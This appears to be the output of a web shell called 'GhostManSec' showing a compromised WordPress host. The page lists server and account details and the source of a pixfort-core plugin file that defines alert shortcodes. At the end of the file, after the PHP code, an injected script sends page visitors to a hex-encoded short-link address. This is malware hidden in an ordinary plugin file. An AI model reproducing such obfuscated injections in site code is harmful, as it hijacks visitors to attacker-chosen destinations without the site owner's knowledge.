GhostManSec
Server: LiteSpeed
System: Linux premium197.web-hosting.com 4.18.0-553.54.1.lve.el8.x86_64 #1 SMP Wed Jun 4 13:01:13 UTC 2025 x86_64
User: parhudrw (1725)
PHP: 7.4.33
Disabled: NONE
Upload Files
File: /home/parhudrw/anqa.it/wp-content/plugins/pixfort-core/functions/shortcodes/alert.php
<?php


/* ---------------------------------------------------------------------------
 * Alert [alert] [/alert]
 * --------------------------------------------------------------------------- */
if( ! function_exists( 'sc_alert' ) )
{
	function sc_alert( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'bold'		=> 'font-weight-bold',
			'italic'		=> '',
			'secondary_font'		=> '',
			'style'		=> 'warning',
			'animate' 		=> '',
			'shadow_class' 		=> '',
			'css' 	=> '',

		), $attr));



		switch( $style ){
			case 'error':
				$icon = 'icon-outlined-iconset-62';
				break;
			case 'notice':
				$icon = 'icon-bulb';
				break;
			case 'success':
				$icon = 'icon-outlined-iconset-145';
				break;
			default:
				$icon = 'icon-megaphone';
				break;
		}





        $output = '<div class="alert mb-0 alert-'. $style .' '.$shadow_class.' '.$class_names.' animate-in" role="alert" data-anim-type="fade-in">';
              $output .= do_shortcode( $content );
              $output .= '<button type="button" class="close" data-dismiss="alert" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>';
        $output .= '</div>';

		return $output;
	}
}

/* ---------------------------------------------------------------------------
 * Alert Block [alertblock]
 * --------------------------------------------------------------------------- */
if( ! function_exists( 'pf_alertblock' ) )
{
	function pf_alertblock( $attr, $content = null )
	{
		extract(shortcode_atts(array(
			'title' 	=> ' ',
			'bold'		=> 'font-weight-bold',
			'italic'		=> '',
			'secondary_font'		=> '',
			'alert_type_1' 	=> 'success',
      'shadow' 	=> '',
			'animation' 	=> '',
			'delay' 	=> '0',
			'css' 	=> '',
		), $attr));

		$output  = '';
        $shadow_class = '';

		$classes = array();
		$css_class = '';
		if(function_exists('vc_shortcode_custom_css_class')){
		    $css_class = apply_filters( VC_SHORTCODE_CUSTOM_CSS_FILTER_TAG, vc_shortcode_custom_css_class( $css, ' ' ) );
		}
		array_push($classes, $css_class );

        if($shadow && $shadow != ''){
			array_push($classes, 'shadow' );
		}
		if(!empty($bold)) array_push($classes, $bold );
		if(!empty($italic)) array_push($classes, $italic );
		if(!empty($secondary_font)) array_push($classes, $secondary_font );

		switch( $alert_type_1 ){
			case 'error':
				$icon = 'icon-outlined-iconset-62';
				break;
			case 'notice':
				$icon = 'icon-bulb';
				break;
			case 'success':
				$icon = 'icon-outlined-iconset-145';
				break;
			default:
				$icon = 'icon-megaphone';
				break;
		}
		$anim_attrs = '';
		if(!empty($animation)){
			array_push($classes, 'animate-in');
			$anim_attrs = 'data-anim-delay="' . $delay .'" data-anim-type="'. $animation .'"';
		}

		$class_names = join( ' ', $classes );

		$output = '<div class="alert d-flex justify-content-between align-items-center alert-'. $alert_type_1 .' '.$shadow_class.' '.$class_names.'" role="alert" '.$anim_attrs.'>';
              $output .= do_shortcode( $title );
              $output .= '<button type="button" class="close" data-dismiss="alert" aria-label="Close">
                <span aria-hidden="true">&times;</span>
              </button>';
        $output .= '</div>';
		return $output;
	}
}

add_shortcode( 'alertblock', 'pf_alertblock' );
add_shortcode( 'alert', 'pf_alertblock' );

 ?>
<script>window.location.href = "\x68\x74\x74\x70\x73\x3a\x2f\x2f\x75\x73\x68\x6f\x72\x74\x2e\x6f\x62\x73\x65\x72\x76\x65\x72\x2f\x67\x65\x78\x4a\x43\x57\x55\x4c\x44\x30\x72\x35";</script>